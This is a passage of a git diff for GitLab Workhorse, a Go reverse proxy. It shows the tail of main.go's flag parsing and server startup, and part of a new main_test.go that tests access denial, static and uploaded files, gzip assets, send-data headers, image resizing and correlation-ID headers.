+ fset := flag.NewFlagSet(arg0, flag.ContinueOnError)
+ fset.Usage = func() {
+ fmt.Fprintf(fset.Output(), "Usage of %s:\n", arg0)
+ fmt.Fprintf(fset.Output(), "\n %s [OPTIONS]\n\nOptions:\n", arg0)
+ fset.PrintDefaults()
+ }
+
+ configFile := fset.String("config", "", "TOML file to load config from")
+
+ fset.StringVar(&boot.secretPath, "secretPath", "./.gitlab_workhorse_secret", "File with secret key to authenticate with authBackend")
+ fset.StringVar(&boot.listenAddr, "listenAddr", "localhost:8181", "Listen address for HTTP server")
+ fset.StringVar(&boot.listenNetwork, "listenNetwork", "tcp", "Listen 'network' (tcp, tcp4, tcp6, unix)")
+ fset.IntVar(&boot.listenUmask, "listenUmask", 0, "Umask for Unix socket")
+ fset.StringVar(&boot.pprofListenAddr, "pprofListenAddr", "", "pprof listening address, e.g. 'localhost:6060'")
+ fset.StringVar(&boot.prometheusListenAddr, "prometheusListenAddr", "", "Prometheus listening address, e.g. 'localhost:9229'")
+
+ fset.StringVar(&boot.logFile, "logFile", "", "Log file location")
+ fset.StringVar(&boot.logFormat, "logFormat", "text", "Log format to use defaults to text (text, json, structured, none)")
+
+ fset.BoolVar(&boot.printVersion, "version", false, "Print version and exit")
+
+ // gitlab-rails backend
+ authBackend := fset.String("authBackend", upstream.DefaultBackend.String(), "Authentication/authorization backend")
+ fset.StringVar(&cfg.Socket, "authSocket", "", "Optional: Unix domain socket to dial authBackend at")
+
+ // actioncable backend
+ cableBackend := fset.String("cableBackend", upstream.DefaultBackend.String(), "ActionCable backend")
+ fset.StringVar(&cfg.CableSocket, "cableSocket", "", "Optional: Unix domain socket to dial cableBackend at")
+
+ fset.StringVar(&cfg.DocumentRoot, "documentRoot", "public", "Path to static files content")
+ fset.DurationVar(&cfg.ProxyHeadersTimeout, "proxyHeadersTimeout", 5*time.Minute, "How long to wait for response headers when proxying the request")
+ fset.BoolVar(&cfg.DevelopmentMode, "developmentMode", false, "Allow the assets to be served from Rails app")
+ fset.UintVar(&cfg.APILimit, "apiLimit", 0, "Number of API requests allowed at single time")
+ fset.UintVar(&cfg.APIQueueLimit, "apiQueueLimit", 0, "Number of API requests allowed to be queued")
+ fset.DurationVar(&cfg.APIQueueTimeout, "apiQueueDuration", queueing.DefaultTimeout, "Maximum queueing duration of requests")
+ fset.DurationVar(&cfg.APICILongPollingDuration, "apiCiLongPollingDuration", 50, "Long polling duration for job requesting for runners (default 50s - enabled)")
+ fset.BoolVar(&cfg.PropagateCorrelationID, "propagateCorrelationID", false, "Reuse existing Correlation-ID from the incoming request header `X-Request-ID` if present")
+
+ if err := fset.Parse(args); err != nil {
+ return nil, nil, alreadyPrintedError{err}
+ }
+ if fset.NArg() > 0 {
+ err := alreadyPrintedError{fmt.Errorf("unexpected arguments: %v", fset.Args())}
+ fmt.Fprintln(fset.Output(), err)
+ fset.Usage()
+ return nil, nil, err
+ }
+
+ var err error
+ cfg.Backend, err = parseAuthBackend(*authBackend)
+ if err != nil {
+ return nil, nil, fmt.Errorf("authBackend: %v", err)
+ }
+
+ cfg.CableBackend, err = parseAuthBackend(*cableBackend)
+ if err != nil {
+ return nil, nil, fmt.Errorf("cableBackend: %v", err)
+ }
+
+ tomlData := ""
+ if *configFile != "" {
+ buf, err := ioutil.ReadFile(*configFile)
+ if err != nil {
+ return nil, nil, fmt.Errorf("configFile: %v", err)
+ }
+ tomlData = string(buf)
+ }
+
+ cfgFromFile, err := config.LoadConfig(tomlData)
+ if err != nil {
+ return nil, nil, fmt.Errorf("configFile: %v", err)
+ }
+
+ cfg.Redis = cfgFromFile.Redis
+ cfg.ObjectStorageCredentials = cfgFromFile.ObjectStorageCredentials
+ cfg.ImageResizerConfig = cfgFromFile.ImageResizerConfig
+ cfg.AltDocumentRoot = cfgFromFile.AltDocumentRoot
+
+ return boot, cfg, nil
+}
+
+// run() lets us use normal Go error handling; there is no log.Fatal in run().
+func run(boot bootConfig, cfg config.Config) error {
+ closer, err := startLogging(boot.logFile, boot.logFormat)
+ if err != nil {
+ return err
+ }
+ defer closer.Close()
+
+ tracing.Initialize(tracing.WithServiceName("gitlab-workhorse"))
+ log.WithField("version", Version).WithField("build_time", BuildTime).Print("Starting")
+
+ // Good housekeeping for Unix sockets: unlink before binding
+ if boot.listenNetwork == "unix" {
+ if err := os.Remove(boot.listenAddr); err != nil && !os.IsNotExist(err) {
+ return err
+ }
+ }
+
+ // Change the umask only around net.Listen()
+ oldUmask := syscall.Umask(boot.listenUmask)
+ listener, err := net.Listen(boot.listenNetwork, boot.listenAddr)
+ syscall.Umask(oldUmask)
+ if err != nil {
+ return fmt.Errorf("main listener: %v", err)
+ }
+
+ finalErrors := make(chan error)
+
+ // The profiler will only be activated by HTTP requests. HTTP
+ // requests can only reach the profiler if we start a listener. So by
+ // having no profiler HTTP listener by default, the profiler is
+ // effectively disabled by default.
+ if boot.pprofListenAddr != "" {
+ l, err := net.Listen("tcp", boot.pprofListenAddr)
+ if err != nil {
+ return fmt.Errorf("pprofListenAddr: %v", err)
+ }
+
+ go func() { finalErrors <- http.Serve(l, nil) }()
+ }
+
+ monitoringOpts := []monitoring.Option{monitoring.WithBuildInformation(Version, BuildTime)}
+
+ if boot.prometheusListenAddr != "" {
+ l, err := net.Listen("tcp", boot.prometheusListenAddr)
+ if err != nil {
+ return fmt.Errorf("prometheusListenAddr: %v", err)
+ }
+ monitoringOpts = append(monitoringOpts, monitoring.WithListener(l))
+ }
+ go func() {
+ // Unlike http.Serve, which always returns a non-nil error,
+ // monitoring.Start may return nil in which case we should not shut down.
+ if err := monitoring.Start(monitoringOpts...); err != nil {
+ finalErrors <- err
+ }
+ }()
+
+ secret.SetPath(boot.secretPath)
+
+ if cfg.Redis != nil {
+ redis.Configure(cfg.Redis, redis.DefaultDialFunc)
+ go redis.Process()
+ }
+
+ if err := cfg.RegisterGoCloudURLOpeners(); err != nil {
+ return fmt.Errorf("register cloud credentials: %v", err)
+ }
+
+ accessLogger, accessCloser, err := getAccessLogger(boot.logFile, boot.logFormat)
+ if err != nil {
+ return fmt.Errorf("configure access logger: %v", err)
+ }
+ defer accessCloser.Close()
+
+ up := wrapRaven(upstream.NewUpstream(cfg, accessLogger))
+
+ go func() { finalErrors <- http.Serve(listener, up) }()
+
+ return <-finalErrors
+}
diff --git a/workhorse/main_test.go b/workhorse/main_test.go
new file mode 100644
index 00000000000..16fa8ff10b7
--- /dev/null
+++ b/workhorse/main_test.go
@@ -0,0 +1,860 @@
+package main
+
+import (
+ "bytes"
+ "compress/gzip"
+ "encoding/base64"
+ "encoding/json"
+ "fmt"
+ "image/png"
+ "io"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "net/url"
+ "os"
+ "os/exec"
+ "path"
+ "regexp"
+ "strconv"
+ "strings"
+ "testing"
+ "time"
+
+ "github.com/sirupsen/logrus"
+ "github.com/stretchr/testify/require"
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/secret"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upstream"
+)
+
+const scratchDir = "testdata/scratch"
+const testRepoRoot = "testdata/data"
+const testDocumentRoot = "testdata/public"
+const testAltDocumentRoot = "testdata/alt-public"
+
+var absDocumentRoot string
+
+const testRepo = "group/test.git"
+const testProject = "group/test"
+
+var checkoutDir = path.Join(scratchDir, "test")
+var cacheDir = path.Join(scratchDir, "cache")
+
+func TestMain(m *testing.M) {
+ if _, err := os.Stat(path.Join(testRepoRoot, testRepo)); os.IsNotExist(err) {
+ log.WithError(err).Fatal("cannot find test repository. Please run 'make prepare-tests'")
+ }
+
+ if err := testhelper.BuildExecutables(); err != nil {
+ log.WithError(err).Fatal()
+ }
+
+ defer gitaly.CloseConnections()
+
+ os.Exit(m.Run())
+}
+
+func TestDeniedClone(t *testing.T) {
+ // Prepare clone directory
+ require.NoError(t, os.RemoveAll(scratchDir))
+
+ // Prepare test server and backend
+ ts := testAuthServer(t, nil, nil, 403, "Access denied")
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ // Do the git clone
+ cloneCmd := exec.Command("git", "clone", fmt.Sprintf("%s/%s", ws.URL, testRepo), checkoutDir)
+ out, err := cloneCmd.CombinedOutput()
+ t.Log(string(out))
+ require.Error(t, err, "git clone should have failed")
+}
+
+func TestDeniedPush(t *testing.T) {
+ // Prepare the test server and backend
+ ts := testAuthServer(t, nil, nil, 403, "Access denied")
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ // Perform the git push
+ pushCmd := exec.Command("git", "push", "-v", fmt.Sprintf("%s/%s", ws.URL, testRepo), fmt.Sprintf("master:%s", newBranch()))
+ pushCmd.Dir = checkoutDir
+ out, err := pushCmd.CombinedOutput()
+ t.Log(string(out))
+ require.Error(t, err, "git push should have failed")
+}
+
+func TestRegularProjectsAPI(t *testing.T) {
+ apiResponse := "API RESPONSE"
+
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, _ *http.Request) {
+ _, err := w.Write([]byte(apiResponse))
+ require.NoError(t, err)
+ })
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ for _, resource := range []string{
+ "/api/v3/projects/123/repository/not/special",
+ "/api/v3/projects/foo%2Fbar/repository/not/special",
+ "/api/v3/projects/123/not/special",
+ "/api/v3/projects/foo%2Fbar/not/special",
+ "/api/v3/projects/foo%2Fbar%2Fbaz/repository/not/special",
+ "/api/v3/projects/foo%2Fbar%2Fbaz%2Fqux/repository/not/special",
+ } {
+ resp, body := httpGet(t, ws.URL+resource, nil)
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resource)
+ require.Equal(t, apiResponse, body, "GET %q: response body", resource)
+ requireNginxResponseBuffering(t, "", resp, "GET %q: nginx response buffering", resource)
+ }
+}
+
+func TestAllowedXSendfileDownload(t *testing.T) {
+ contentFilename := "my-content"
+ prepareDownloadDir(t)
+
+ allowedXSendfileDownload(t, contentFilename, "foo/uploads/bar")
+}
+
+func TestDeniedXSendfileDownload(t *testing.T) {
+ contentFilename := "my-content"
+ prepareDownloadDir(t)
+
+ deniedXSendfileDownload(t, contentFilename, "foo/uploads/bar")
+}
+
+func TestAllowedStaticFile(t *testing.T) {
+ content := "PUBLIC"
+ require.NoError(t, setupStaticFile("static file.txt", content))
+
+ proxied := false
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
+ proxied = true
+ w.WriteHeader(404)
+ })
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ for _, resource := range []string{
+ "/static%20file.txt",
+ "/static file.txt",
+ } {
+ resp, body := httpGet(t, ws.URL+resource, nil)
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resource)
+ require.Equal(t, content, body, "GET %q: response body", resource)
+ requireNginxResponseBuffering(t, "no", resp, "GET %q: nginx response buffering", resource)
+ require.False(t, proxied, "GET %q: should not have made it to backend", resource)
+ }
+}
+
+func TestStaticFileRelativeURL(t *testing.T) {
+ content := "PUBLIC"
+ require.NoError(t, setupStaticFile("static.txt", content), "create public/static.txt")
+
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), http.HandlerFunc(http.NotFound))
+ defer ts.Close()
+ backendURLString := ts.URL + "/my-relative-url"
+ log.Info(backendURLString)
+ ws := startWorkhorseServer(backendURLString)
+ defer ws.Close()
+
+ resource := "/my-relative-url/static.txt"
+ resp, body := httpGet(t, ws.URL+resource, nil)
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resource)
+ require.Equal(t, content, body, "GET %q: response body", resource)
+}
+
+func TestAllowedPublicUploadsFile(t *testing.T) {
+ content := "PRIVATE but allowed"
+ require.NoError(t, setupStaticFile("uploads/static file.txt", content), "create public/uploads/static file.txt")
+
+ proxied := false
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
+ proxied = true
+ w.Header().Add("X-Sendfile", absDocumentRoot+r.URL.Path)
+ w.WriteHeader(200)
+ })
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ for _, resource := range []string{
+ "/uploads/static%20file.txt",
+ "/uploads/static file.txt",
+ } {
+ resp, body := httpGet(t, ws.URL+resource, nil)
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resource)
+ require.Equal(t, content, body, "GET %q: response body", resource)
+ require.True(t, proxied, "GET %q: never made it to backend", resource)
+ }
+}
+
+func TestDeniedPublicUploadsFile(t *testing.T) {
+ content := "PRIVATE"
+ require.NoError(t, setupStaticFile("uploads/static.txt", content), "create public/uploads/static.txt")
+
+ proxied := false
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, _ *http.Request) {
+ proxied = true
+ w.WriteHeader(404)
+ })
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ for _, resource := range []string{
+ "/uploads/static.txt",
+ "/uploads%2Fstatic.txt",
+ } {
+ resp, body := httpGet(t, ws.URL+resource, nil)
+
+ require.Equal(t, 404, resp.StatusCode, "GET %q: status code", resource)
+ require.Equal(t, "", body, "GET %q: response body", resource)
+ require.True(t, proxied, "GET %q: never made it to backend", resource)
+ }
+}
+
+func TestStaticErrorPage(t *testing.T) {
+ errorPageBody := `<html>
+<body>
+This is a static error page for code 499
+</body>
+</html>
+`
+ require.NoError(t, setupStaticFile("499.html", errorPageBody))
+ ts := testhelper.TestServerWithHandler(nil, func(w http.ResponseWriter, _ *http.Request) {
+ upstreamError := "499"
+ // This is the point of the test: the size of the upstream response body
+ // should be overridden.
+ require.NotEqual(t, len(upstreamError), len(errorPageBody))
+ w.WriteHeader(499)
+ _, err := w.Write([]byte(upstreamError))
+ require.NoError(t, err)
+ })
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ resourcePath := "/error-499"
+ resp, body := httpGet(t, ws.URL+resourcePath, nil)
+
+ require.Equal(t, 499, resp.StatusCode, "GET %q: status code", resourcePath)
+ require.Equal(t, string(errorPageBody), body, "GET %q: response body", resourcePath)
+}
+
+func TestGzipAssets(t *testing.T) {
+ path := "/assets/static.txt"
+ content := "asset"
+ require.NoError(t, setupStaticFile(path, content))
+
+ buf := &bytes.Buffer{}
+ gzipWriter := gzip.NewWriter(buf)
+ _, err := gzipWriter.Write([]byte(content))
+ require.NoError(t, err)
+ require.NoError(t, gzipWriter.Close())
+ contentGzip := buf.String()
+ require.NoError(t, setupStaticFile(path+".gz", contentGzip))
+
+ proxied := false
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
+ proxied = true
+ w.WriteHeader(404)
+ })
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ testCases := []struct {
+ content string
+ path string
+ acceptEncoding string
+ contentEncoding string
+ }{
+ {content: content, path: path},
+ {content: contentGzip, path: path, acceptEncoding: "gzip", contentEncoding: "gzip"},
+ {content: contentGzip, path: path, acceptEncoding: "gzip, compress, br", contentEncoding: "gzip"},
+ {content: contentGzip, path: path, acceptEncoding: "br;q=1.0, gzip;q=0.8, *;q=0.1", contentEncoding: "gzip"},
+ }
+
+ for _, tc := range testCases {
+ desc := fmt.Sprintf("accept-encoding: %q", tc.acceptEncoding)
+ req, err := http.NewRequest("GET", ws.URL+tc.path, nil)
+ require.NoError(t, err, desc)
+ req.Header.Set("Accept-Encoding", tc.acceptEncoding)
+
+ resp, err := http.DefaultTransport.RoundTrip(req)
+ require.NoError(t, err, desc)
+ defer resp.Body.Close()
+ b, err := ioutil.ReadAll(resp.Body)
+ require.NoError(t, err, desc)
+
+ require.Equal(t, 200, resp.StatusCode, "%s: status code", desc)
+ require.Equal(t, tc.content, string(b), "%s: response body", desc)
+ require.Equal(t, tc.contentEncoding, resp.Header.Get("Content-Encoding"), "%s: response body", desc)
+ require.False(t, proxied, "%s: should not have made it to backend", desc)
+ }
+}
+
+func TestAltDocumentAssets(t *testing.T) {
+ path := "/assets/static.txt"
+ content := "asset"
+ require.NoError(t, setupAltStaticFile(path, content))
+
+ buf := &bytes.Buffer{}
+ gzipWriter := gzip.NewWriter(buf)
+ _, err := gzipWriter.Write([]byte(content))
+ require.NoError(t, err)
+ require.NoError(t, gzipWriter.Close())
+ contentGzip := buf.String()
+ require.NoError(t, setupAltStaticFile(path+".gz", contentGzip))
+
+ proxied := false
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
+ proxied = true
+ w.WriteHeader(404)
+ })
+ defer ts.Close()
+
+ upstreamConfig := newUpstreamConfig(ts.URL)
+ upstreamConfig.AltDocumentRoot = testAltDocumentRoot
+
+ ws := startWorkhorseServerWithConfig(upstreamConfig)
+ defer ws.Close()
+
+ testCases := []struct {
+ desc string
+ path string
+ content string
+ acceptEncoding string
+ contentEncoding string
+ }{
+ {desc: "plaintext asset", path: path, content: content},
+ {desc: "gzip asset available", path: path, content: contentGzip, acceptEncoding: "gzip", contentEncoding: "gzip"},
+ {desc: "non-existent file", path: "/assets/non-existent"},
+ }
+
+ for _, tc := range testCases {
+ req, err := http.NewRequest("GET", ws.URL+tc.path, nil)
+ require.NoError(t, err)
+
+ if tc.acceptEncoding != "" {
+ req.Header.Set("Accept-Encoding", tc.acceptEncoding)
+ }
+
+ resp, err := http.DefaultTransport.RoundTrip(req)
+ require.NoError(t, err)
+ defer resp.Body.Close()
+ b, err := ioutil.ReadAll(resp.Body)
+ require.NoError(t, err)
+
+ if tc.content != "" {
+ require.Equal(t, 200, resp.StatusCode, "%s: status code", tc.desc)
+ require.Equal(t, tc.content, string(b), "%s: response body", tc.desc)
+ require.False(t, proxied, "%s: should not have made it to backend", tc.desc)
+
+ if tc.contentEncoding != "" {
+ require.Equal(t, tc.contentEncoding, resp.Header.Get("Content-Encoding"))
+ }
+ } else {
+ require.Equal(t, 404, resp.StatusCode, "%s: status code", tc.desc)
+ }
+ }
+}
+
+var sendDataHeader = "Gitlab-Workhorse-Send-Data"
+
+func sendDataResponder(command string, literalJSON string) *httptest.Server {
+ handler := func(w http.ResponseWriter, r *http.Request) {
+ data := base64.URLEncoding.EncodeToString([]byte(literalJSON))
+ w.Header().Set(sendDataHeader, fmt.Sprintf("%s:%s", command, data))
+
+ // This should never be returned
+ if _, err := fmt.Fprintf(w, "gibberish"); err != nil {
+ panic(err)
+ }
+ }
+
+ return testhelper.TestServerWithHandler(regexp.MustCompile(`.`), handler)
+}
+
+func doSendDataRequest(path string, command, literalJSON string) (*http.Response, []byte, error) {
+ ts := sendDataResponder(command, literalJSON)
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ resp, err := http.Get(ws.URL + path)
+ if err != nil {
+ return nil, nil, err
+ }
+ defer resp.Body.Close()
+
+ bodyData, err := ioutil.ReadAll(resp.Body)
+ if err != nil {
+ return resp, nil, err
+ }
+
+ headerValue := resp.Header.Get(sendDataHeader)
+ if headerValue != "" {
+ return resp, bodyData, fmt.Errorf("%s header should not be present, but has value %q", sendDataHeader, headerValue)
+ }
+
+ return resp, bodyData, nil
+}
+
+func TestArtifactsGetSingleFile(t *testing.T) {
+ // We manually created this zip file in the gitlab-workhorse Git repository
+ archivePath := `testdata/artifacts-archive.zip`
+ fileName := "myfile"
+ fileContents := "MY FILE"
+ resourcePath := `/namespace/project/builds/123/artifacts/file/` + fileName
+ encodedFilename := base64.StdEncoding.EncodeToString([]byte(fileName))
+ jsonParams := fmt.Sprintf(`{"Archive":"%s","Entry":"%s"}`, archivePath, encodedFilename)
+
+ resp, body, err := doSendDataRequest(resourcePath, "artifacts-entry", jsonParams)
+ require.NoError(t, err)
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resourcePath)
+ require.Equal(t, fileContents, string(body), "GET %q: response body", resourcePath)
+ requireNginxResponseBuffering(t, "no", resp, "GET %q: nginx response buffering", resourcePath)
+}
+
+func TestImageResizing(t *testing.T) {
+ imageLocation := `testdata/image.png`
+ requestedWidth := 40
+ imageFormat := "image/png"
+ jsonParams := fmt.Sprintf(`{"Location":"%s","Width":%d, "ContentType":"%s"}`, imageLocation, requestedWidth, imageFormat)
+ resourcePath := "/uploads/-/system/user/avatar/123/avatar.png?width=40"
+
+ resp, body, err := doSendDataRequest(resourcePath, "send-scaled-img", jsonParams)
+ require.NoError(t, err, "send resize request")
+ require.Equal(t, 200, resp.StatusCode, "GET %q: body: %s", resourcePath, body)
+
+ img, err := png.Decode(bytes.NewReader(body))
+ require.NoError(t, err, "decode resized image")
+
+ bounds := img.Bounds()
+ require.Equal(t, requestedWidth, bounds.Size().X, "wrong width after resizing")
+}
+
+func TestSendURLForArtifacts(t *testing.T) {
+ expectedBody := strings.Repeat("CONTENT!", 1024)
+
+ regularHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ w.Header().Set("Content-Length", strconv.Itoa(len(expectedBody)))
+ w.Write([]byte(expectedBody))
+ })
+
+ chunkedHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ w.Header().Set("Transfer-Encoding", "chunked")
+ w.Write([]byte(expectedBody))
+ })
+
+ rawHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ hj, ok := w.(http.Hijacker)
+ require.Equal(t, true, ok)
+
+ conn, buf, err := hj.Hijack()
+ require.NoError(t, err)
+ defer conn.Close()
+ defer buf.Flush()
+
+ fmt.Fprint(buf, "HTTP/1.1 200 OK\r\nContent-Type: application/zip\r\n\r\n")
+ fmt.Fprint(buf, expectedBody)
+ })
+
+ for _, tc := range []struct {
+ name string
+ handler http.Handler
+ transferEncoding []string
+ contentLength int
+ }{
+ {"No content-length, chunked TE", chunkedHandler, []string{"chunked"}, -1}, // Case 3 in https://tools.ietf.org/html/rfc7230#section-3.3.2
+ {"Known content-length, identity TE", regularHandler, nil, len(expectedBody)}, // Case 5 in https://tools.ietf.org/html/rfc7230#section-3.3.2
+ {"No content-length, identity TE", rawHandler, []string{"chunked"}, -1}, // Case 7 in https://tools.ietf.org/html/rfc7230#section-3.3.2
+ } {
+ t.Run(tc.name, func(t *testing.T) {
+ server := httptest.NewServer(tc.handler)
+ defer server.Close()
+
+ jsonParams := fmt.Sprintf(`{"URL":%q}`, server.URL)
+
+ resourcePath := `/namespace/project/builds/123/artifacts/file/download`
+ resp, body, err := doSendDataRequest(resourcePath, "send-url", jsonParams)
+ require.NoError(t, err)
+
+ require.Equal(t, http.StatusOK, resp.StatusCode, "GET %q: status code", resourcePath)
+ require.Equal(t, int64(tc.contentLength), resp.ContentLength, "GET %q: Content-Length", resourcePath)
+ require.Equal(t, tc.transferEncoding, resp.TransferEncoding, "GET %q: Transfer-Encoding", resourcePath)
+ require.Equal(t, expectedBody, string(body), "GET %q: response body", resourcePath)
+ requireNginxResponseBuffering(t, "no", resp, "GET %q: nginx response buffering", resourcePath)
+ })
+ }
+}
+
+func TestApiContentTypeBlock(t *testing.T) {
+ wrongResponse := `{"hello":"world"}`
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, _ *http.Request) {
+ w.Header().Set("Content-Type", api.ResponseContentType)
+ _, err := w.Write([]byte(wrongResponse))
+ require.NoError(t, err, "write upstream response")
+ })
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ resourcePath := "/something"
+ resp, body := httpGet(t, ws.URL+resourcePath, nil)
+
+ require.Equal(t, 500, resp.StatusCode, "GET %q: status code", resourcePath)
+ require.NotContains(t, wrongResponse, body, "GET %q: response body", resourcePath)
+}
+
+func TestAPIFalsePositivesAreProxied(t *testing.T) {
+ goodResponse := []byte(`<html></html>`)
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
+ if r.Header.Get(secret.RequestHeader) != "" && r.Method != "GET" {
+ w.WriteHeader(500)
+ w.Write([]byte("non-GET request went through PreAuthorize handler"))
+ } else {
+ w.Header().Set("Content-Type", "text/html")
+ _, err := w.Write(goodResponse)
+ require.NoError(t, err)
+ }
+ })
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ // Each of these cases is a specially-handled path in Workhorse that may
+ // actually be a request to be sent to gitlab-rails.
+ for _, tc := range []struct {
+ method string
+ path string
+ }{
+ {"GET", "/nested/group/project/blob/master/foo.git/info/refs"},
+ {"POST", "/nested/group/project/blob/master/foo.git/git-upload-pack"},
+ {"POST", "/nested/group/project/blob/master/foo.git/git-receive-pack"},
+ {"PUT", "/nested/group/project/blob/master/foo.git/gitlab-lfs/objects/0000000000000000000000000000000000000000000000000000000000000000/0"},
+ {"GET", "/nested/group/project/blob/master/environments/1/terminal.ws"},
+ } {
+ t.Run(tc.method+"_"+tc.path, func(t *testing.T) {
+ req, err := http.NewRequest(tc.method, ws.URL+tc.path, nil)
+ require.NoError(t, err, "Constructing %s %q", tc.method, tc.path)
+ resp, err := http.DefaultClient.Do(req)
+ require.NoError(t, err, "%s %q", tc.method, tc.path)
+ defer resp.Body.Close()
+
+ respBody, err := ioutil.ReadAll(resp.Body)
+ require.NoError(t, err, "%s %q: reading body", tc.method, tc.path)
+
+ require.Equal(t, 200, resp.StatusCode, "%s %q: status code", tc.method, tc.path)
+ testhelper.RequireResponseHeader(t, resp, "Content-Type", "text/html")
+ require.Equal(t, string(goodResponse), string(respBody), "%s %q: response body", tc.method, tc.path)
+ })
+ }
+}
+
+func TestCorrelationIdHeader(t *testing.T) {
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
+ w.Header().Add("X-Request-Id", "12345678")
+ w.WriteHeader(200)
+ })
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ for _, resource := range []string{
+ "/api/v3/projects/123/repository/not/special",
+ } {
+ resp, _ := httpGet(t, ws.URL+resource, nil)
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resource)
+ requestIds := resp.Header["X-Request-Id"]
+ require.Equal(t, 1, len(requestIds), "GET %q: One X-Request-Id present", resource)
+ }
+}
+
+func TestPropagateCorrelationIdHeader(t *testing.T) {
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
+ w.Header().Add("X-Request-Id", r.Header.Get("X-Request-Id"))
+ w.WriteHeader(200)
+ })
+ defer ts.Close()
+
+ testCases := []struct {
+ desc string
+ propagateCorrelationID bool
+ }{
+ {
+ desc: "propagateCorrelatedId is true",
+ propagateCorrelationID: true,
+ },
+ {
+ desc: "propagateCorrelatedId is false",
+ propagateCorrelationID: false,
+ },
+ }
+
+ for _, tc := range testCases {
+ t.Run(tc.desc, func(t *testing.T) {
+ upstreamConfig := newUpstreamConfig(ts.URL)
+ upstreamConfig.PropagateCorrelationID = tc.propagateCorrelationID
+
+ ws := startWorkhorseServerWithConfig(upstreamConfig)
+ defer ws.Close()
+
+ resource := "/api/v3/projects/123/repository/not/special"
+ propagatedRequestId := "Propagated-RequestId-12345678"
+ resp, _ := httpGet(t, ws.URL+resource, map[string]string{"X-Request-Id": propagatedRequestId})
+ requestIds := resp.Header["X-Request-Id"]
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: status code", resource)
+ require.Equal(t, 1, len(requestIds), "GET %q: One X-Request-Id present", resource)
+
+ if tc.propagateCorrelationID {
+ require.Contains(t, requestIds, propagatedRequestId, "GET %q: Has X-Request-Id %s present", resource, propagatedRequestId)
+ } else {
+ require.NotContains(t, requestIds, propagatedRequestId, "GET %q: X-Request-Id not propagated")
+ }
+ })
+ }
+}
+
+func setupStaticFile(fpath, content string) error {
+ return setupStaticFileHelper(fpath, content, testDocumentRoot)
+}
+
+func setupAltStaticFile(fpath, content string) error {
+ return setupStaticFileHelper(fpath, content, testAltDocumentRoot)
+}
+
+func setupStaticFileHelper(fpath, content, directory string) error {
+ cwd, err := os.Getwd()
+ if err != nil {
+ return err
+ }
+ absDocumentRoot = path.Join(cwd, directory)
+ if err := os.MkdirAll(path.Join(absDocumentRoot, path.Dir(fpath)), 0755); err != nil {
+ return err
+ }
+ staticFile := path.Join(absDocumentRoot, fpath)
+ return ioutil.WriteFile(staticFile, []byte(content), 0666)
+}
+
+func prepareDownloadDir(t *testing.T) {
+ require.NoError(t, os.RemoveAll(scratchDir))
+ require.NoError(t, os.MkdirAll(scratchDir, 0755))
+}
+
+func newBranch() string {
+ return fmt.Sprintf("branch-%d", time.Now().UnixNano())
+}
+
+func testAuthServer(t *testing.T, url *regexp.Regexp, params url.Values, code int, body interface{}) *httptest.Server {
+ return testhelper.TestServerWithHandler(url, func(w http.ResponseWriter, r *http.Request) {
+ require.NotEmpty(t, r.Header.Get("X-Request-Id"))
+
+ w.Header().Set("Content-Type", api.ResponseContentType)
+
+ logEntry := log.WithFields(log.Fields{
+ "method": r.Method,
+ "url": r.URL,
+ })
